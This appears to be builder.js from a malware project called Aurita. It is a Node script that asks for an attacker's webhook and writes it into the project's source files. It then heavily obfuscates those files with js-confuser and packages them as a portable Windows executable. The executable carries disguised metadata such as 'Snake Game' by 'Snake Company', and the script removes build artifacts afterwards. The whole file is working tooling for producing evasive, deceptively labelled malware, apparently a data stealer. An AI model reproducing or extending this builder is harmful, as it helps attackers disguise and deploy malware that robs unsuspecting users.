-
Notifications
You must be signed in to change notification settings - Fork 8
/
builder.js
340 lines (289 loc) · 13 KB
/
builder.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
const {
applyGradient,
decodeBase64,
isWebhook,
isLinkIcon
} = require("./utils.js");
const {
build,
Platform,
Arch
} = require("electron-builder");
const { spawnSync } = require("child_process");
const imageToIco = require("image-to-ico");
const jsConfuser = require("js-confuser");
const readline = require("readline");
const gradient = require("gradient-string");
const chalk = require("chalk-animation");
const axios = require("axios");
const path = require("path");
const fs = require("fs");
const { summer } = gradient;
const { radar } = chalk;
const rl = readline.createInterface({
input: process.stdin,
output: process.stdout
});
let currentQst = 0;
const SRC_DIR = "./src";
const createIcon = async (exeIcon, tempImagePath, iconPath) => {
try {
const response = await axios.get(exeIcon,
{ responseType: 'stream' }
);
const writer = fs.createWriteStream(tempImagePath);
response.data.pipe(writer);
await new Promise((resolve, reject) => {
writer.on('finish', resolve);
writer.on('error', reject);
});
const buffer = await imageToIco(tempImagePath, {
size: [256, 256],
quality: 100,
greyscale: false
});
fs.writeFileSync(iconPath, buffer);
fs.unlinkSync(tempImagePath);
} catch (error) {
console.error(`Error in createIcon: ${error.message}`);
}
};
const createBuild = async (dest, JSON) => {
const exeName = JSON.EXECUTABLE_NAME ?? "Aurita";
const exeIcon = JSON.EXECUTABLE_ICON ?? "https://i.imgur.com/WkKXZSl.gif";
const tempImagePath = `${process.cwd()}/build/icons/${exeName}.png`;
const iconPath = `${process.cwd()}/build/icons/${exeName}.ico`;
try {
await createIcon(exeIcon, tempImagePath, iconPath);
await build({
"targets": Platform.WINDOWS.createTarget(null, Arch.x64),
"config": {
"appId": "win32",
"productName": `${exeName}`,
"win": {
"artifactName": `${exeName}.exe`,
"target": "portable",
"icon": iconPath
},
"compression": "normal",
"buildVersion": "1.0.0",
"electronVersion": "17.1.0",
"nodeGypRebuild": false,
"npmRebuild": true,
"directories": {
"app": `${dest}`,
"output": `./build/dist/${exeName}`,
},
},
});
fs.unlinkSync(`./build/dist/${exeName}/builder-debug.yml`);
fs.unlinkSync(`./build/dist/${exeName}/builder-effective-config.yaml`);
fs.rmSync(`./build/dist/${exeName}/win-unpacked`, {
recursive: true
});
fs.rmSync(`${dest}`, {
recursive: true
});
fs.rename(`./build/dist/${exeName}/${exeName}.exe`, `./${exeName}.exe`, (err) => {
if (!err) {
console.log(`Executable file as "${exeName}"`);
} else {
console.error('The file is inside "./build/dist"');
}
});
} catch (err) {
console.log(err)
}
}
const createObf = async (JSON) => {
let webhook = JSON.WEBHOOK,
exeName = JSON.EXECUTABLE_NAME ?? "Aurita",
appCompany = JSON.APP_COMPANY ?? "Snake Company",
appFileDesc = JSON.DESC ?? "Snake Game",
copyright = JSON.COPYRIGHT ?? "Snake Copyright",
version = JSON.VERSION ?? "2.0.0",
license = JSON.LICENSE ?? "MIT",
author = JSON.AUTHOR ?? "k4itrun",
desc = JSON.DESC ?? "Do Do-Hee <3";
const destDir = `./build/script/${exeName}`;
const cloneDir = (src, dest) => {
try {
if (!fs.existsSync(dest)) {
fs.mkdirSync(dest);
}
(fs.readdirSync(src)).forEach((file) => {
let srcFilePath = path.join(src, file);
let destFilePath = path.join(dest, file);
if (fs.statSync(srcFilePath).isFile()) {
fs.copyFileSync(srcFilePath, destFilePath);
} else if (fs.statSync(srcFilePath).isDirectory()) {
cloneDir(srcFilePath, destFilePath);
}
});
} catch (e) {
console.error(e)
}
};
const obfFiles = async (dir) => {
const files = fs.readdirSync(dir);
try {
for (const file of files) {
const filePath = path.join(dir, file);
if (fs.statSync(filePath).isDirectory()) {
await obfFiles(filePath);
} else if (
file.endsWith(".js") &&
!filePath.includes("node_modules") &&
!file.includes("build.js")
) {
const srcCode = fs.readFileSync(filePath, "utf-8");
const applyObfCode = await jsConfuser.obfuscate(srcCode, {
target: "node",
controlFlowFlattening: 0,
minify: false,
globalConcealing: true,
stringCompression: 1,
stringConcealing: 0.9,
stringEncoding: 0.3,
stringSplitting: 1,
deadCode: 0,
calculator: 0.5,
compact: true,
movedDeclarations: false,
objectExtraction: false,
stack: true,
duplicateLiteralsRemoval: 0,
flatten: false,
dispatcher: true,
opaquePredicates: 0,
shuffle: { hash: 0.6, true: 0.6 },
renameVariables: false,
renameGlobals: false,
});
await fs.writeFileSync(filePath, applyObfCode);
}
}
} catch (err) {
console.error(`Error processing directory "${dir}":`, err.message);
}
};
const obf = async (dir) => {
await obfFiles(dir);
};
const replaceKeys = (file) => {
try {
fs.writeFileSync(file, fs.readFileSync(file, "utf-8")
.replace(/%WEBHOOK%/g, webhook)
);
} catch (e) {
console.error(e)
}
};
const replaceBat = (file) => {
try {
fs.writeFileSync(file, fs.readFileSync(file, "utf-8")
.replace(/%DESTINATION%/g, destDir)
);
} catch (e) {
console.error(e)
}
};
const replaceInfos = (file) => {
try {
fs.writeFileSync(file, fs.readFileSync(file, "utf-8")
.replace(/%APPCOMPAGNYNAME%/g, appCompany)
.replace(/%FILEDESCRIB%/g, appFileDesc)
.replace(/%COPYRIGHT%/g, copyright)
.replace(/%VERSIONPRODUCT%/g, version)
.replace(/%VERSION%/g, version)
.replace(/%LICENSE%/g, license)
.replace(/%AUTHOR%/g, author)
.replace(/%DESCRIPTION%/g, desc)
);
} catch (e) {
console.error(e)
}
};
const traverse = (dir) => {
try {
fs.readdirSync(dir).forEach((file) => {
const filePath = path.join(dir, file);
if (fs.statSync(filePath).isDirectory()) {
traverse(filePath)
} else if (file.endsWith(".js") && !filePath.includes("node_modules")) {
replaceKeys(filePath)
} else if (file.endsWith(".json") && !filePath.includes("node_modules")) {
replaceInfos(filePath)
} else if (file.endsWith("build.bat")) {
replaceBat(filePath)
}
});
} catch (e) {
console.error(e)
}
};
cloneDir(SRC_DIR, destDir);
await traverse(destDir);
await obf(destDir);
return destDir;
}
async function createAsk(qst) {
try {
currentQst++;
return (await new Promise((resolve, reject) => {
rl.question(applyGradient(['#fcca7e', '#ed7efc', '#7eb0fc', '#7ee0fc'], `Question ${currentQst}: ${qst}`), (ans) => {
resolve(ans);
});
})).trim();
} catch (e) {
console.error(e);
return '';
}
}
async function createFucking() {
const JSON = {};
const BANNER_AURITA = decodeBase64("CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgW0F1cmFUaGVtZXNdCgriloTiloTiloQgICAgICDiloggICAg4paI4paIIOKWiOKWiOKWgOKWiOKWiOKWiCAg4paE4paE4paEICAgIOKWhOKWhOKWhOKWiOKWiOKWiOKWiOKWiOKWk+KWiOKWiOKWkSDilojilojilpPilojilojilojilojilogg4paI4paI4paI4paEIOKWhOKWiOKWiOKWiOKWk+KWiOKWiOKWiOKWiOKWiCAg4paI4paI4paI4paI4paI4paICuKWkuKWiOKWiOKWiOKWiOKWhCAgICDilojiloggIOKWk+KWiOKWiOKWk+KWiOKWiCDilpIg4paI4paI4paS4paI4paI4paI4paI4paEICDilpMgIOKWiOKWiOKWkiDilpPilpPilojilojilpEg4paI4paI4paT4paIICAg4paA4paT4paI4paI4paS4paA4paI4paAIOKWiOKWiOKWk+KWiCAgIOKWgOKWkuKWiOKWiCAgICDilpIK4paS4paI4paIICDiloDilojiloQg4paT4paI4paIICDilpLilojilojilpPilojilogg4paR4paE4paIIOKWkuKWiOKWiCAg4paA4paI4paE4paSIOKWk+KWiOKWiOKWkSDilpLilpLilojilojiloDiloDilojilojilpLilojilojiloggIOKWk+KWiOKWiCAgICDilpPilojilojilpLilojilojiloggIOKWkSDilpPilojilojiloQgICAK4paR4paI4paI4paE4paE4paE4paE4paI4paI4paT4paT4paIICDilpHilojilojilpLilojilojiloDiloDilojiloQg4paR4paI4paI4paE4paE4paE4paE4paI4paRIOKWk+KWiOKWiOKWkyDilpHilpHilpPilogg4paR4paI4paI4paS4paT4paIICDiloTilpLilojiloggICAg4paS4paI4paI4paS4paT4paIICDiloQgIOKWkiAgIOKWiOKWiOKWkgrilpPiloggICDilpPilojilojilpLilpLilojilojilojilojilojilpPilpHilojilojilpMg4paS4paI4paI4paS4paT4paIICAg4paT4paI4paI4paS4paS4paI4paI4paSIOKWkeKWkeKWk+KWiOKWkuKWkeKWiOKWiOKWkeKWkuKWiOKWiOKWiOKWiOKWkuKWiOKWiOKWkiAgIOKWkeKWiOKWiOKWkeKWkuKWiOKWiOKWiOKWiOKWkuKWiOKWiOKWiOKWiOKWiOKWiOKWkuKWkgrilpLilpIgICDilpPilpLilojilpHilpLilpPilpIg4paSIOKWkuKWkSDilpLilpMg4paR4paS4paT4paR4paS4paSICAg4paT4paS4paI4paR4paSIOKWkeKWkSAgIOKWkiDilpHilpHilpLilpHilpHilpEg4paS4paRIOKWkSDilpLilpEgICDilpEgIOKWkeKWkSDilpLilpEg4paSIOKWkuKWk+KWkiDilpIg4paRCuKWkiAgIOKWkuKWkiDilpHilpHilpLilpEg4paRIOKWkSAg4paR4paSIOKWkSDilpLilpEg4paSICAg4paS4paSIOKWkSAg4paRICAgIOKWkiDilpHilpLilpEg4paR4paRIOKWkSAg4paRICDilpEgICAgICDilpHilpEg4paRICDilpEg4paR4paSICDilpEg4paRCuKWkSAgIOKWkiAgIOKWkeKWkeKWkSDilpEg4paRICDilpHilpEgICDilpEgIOKWkSAgIOKWkiAgIOKWkSAgICAgIOKWkSAg4paR4paRIOKWkSAg4paRICDilpEgICAgICDilpEgICAgIOKWkSAg4paRICDilpEgIOKWkQrilpEgIOKWkSAg4paRICAgICAgIOKWkSAgICAgICAgICDilpEgIOKWkSAgICAgICDilpEgIOKWkSAg4paRICDilpEgIOKWkSAgICAgIOKWkSAgICAg4paRICDilpEgICAgIOKWkQogICAgICAgCQlBdXJhVGhlbWVzIEJ5IEs0aXRydW4gfCBodHRwczovL2Rpc2NvcmQuZ2cvYXVyYXRoZW1lcwkJCg");
try {
console.clear();
radar(BANNER_AURITA).start();
setTimeout(async () => {
radar(summer(BANNER_AURITA)).stop();
spawnSync(path.join(__dirname, SRC_DIR.replace("./", ""), "install.bat"), [], {
cwd: path.join(__dirname, SRC_DIR.replace("./", "")),
stdio: "inherit",
});
console.clear();
console.log(applyGradient(['#FFFFFF', '#E0BBE4', '#957DAD', '#D291BC', '#F17EF7', '#8A2BE2', '#af45fa'], BANNER_AURITA));
let webhook = await createAsk("Add your \"WEBHOOK\": ");
while (!isWebhook(webhook)) {
webhook = await createAsk("Add a \"WEBHOOK\" validity: ");
}
let exIcon = await createAsk("Please specify the \"ICON\" using a url with the extensions (Png, Jpg, WebP): ");
while (!isLinkIcon(exIcon)) {
exIcon = await createAsk("Specify a valid link for your \"ICON\" the extensions (Png, Jpg, WebP): ");
}
JSON.WEBHOOK = webhook;
JSON.EXECUTABLE_ICON = exIcon;
JSON.EXECUTABLE_NAME = await createAsk("Please specify your 'EXE' file \"Name\": ");
JSON.APP_COMPANY = await createAsk("Please specify your 'EXE' file \"App Company\": ");
JSON.COPYRIGHT = await createAsk("Please specify your 'EXE' file \"Legal Copyright\": ");
JSON.LICENSE = await createAsk("Please specify your 'EXE' file \"License\": ");
JSON.AUTHOR = await createAsk("Please specify your 'EXE' file \"Author\": ");
JSON.DESC = await createAsk("Please specify your 'EXE' file \"Description\": ");
rl.close();
console.clear();
try {
console.log("Obfuscation...")
const obfPath = await createObf(JSON);
console.log("Building...")
await createBuild(obfPath, JSON);
console.log("Filled...")
} catch (e) {
console.error(e)
}
}, 5000);
} catch (e) {
console.error(e)
}
}
createFucking();